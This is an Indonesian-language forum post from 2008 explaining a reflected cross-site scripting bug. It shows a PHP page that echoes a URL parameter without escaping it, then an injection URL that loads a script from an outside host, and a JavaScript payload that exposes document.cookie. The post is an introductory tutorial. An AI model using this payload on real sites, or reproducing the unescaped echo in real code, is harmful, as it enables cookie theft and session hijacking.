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Author Topic: GET VARIABLE URL [XSS]  (Read 964 times)
webmaster
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hairulazami
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« on: August 16, 2008, 02:36:46 PM »

GET VARIABLE URL [XSS]

untuk bug ini memang sederhana tapi ke na kalo smpet keindeks google, kan ga enak kalo diliat...

misalna aja ada variable $pesan pada URL tros ditampilin dengan perintah echo pada php di halaman web

contohna:

http://ko-main2.com/landingpage.php?act ... OK_Kterima

nah lo, kalo di web na ada ke gini:

Code:
<?
echo $_GET['pesan'];
?>

lah nyang ditampilin variable pesan tadi donk !!!

lalu gimana kalo gw bikin php inject na Huh? dengan methode XSS Huh? ( Cross Site Scripting)

misalna gw pake ke nyang ini:

Code:

http://ko-main2.com/landingpage.php?action=submit&pesan=<script src=http://injectdomain.com/gwgigitlu.js></script>


lalu dalam gwgigitlu.js tersimpan script js bwat ke gini misalna:

Code:
document.write ("This is remote text via gwgigitlu.js located at injectdomain.com " + document.cookie);
alert ("This is remote text via gwgigitlu.js located at injectdomain.com " + document.cookie);


nah liat apa yang terjadi, cookies pada server bisa keliatan...

selamat bereksperimen !!!
« Last Edit: January 01, 1970, 07:00:00 AM by webmaster » Logged


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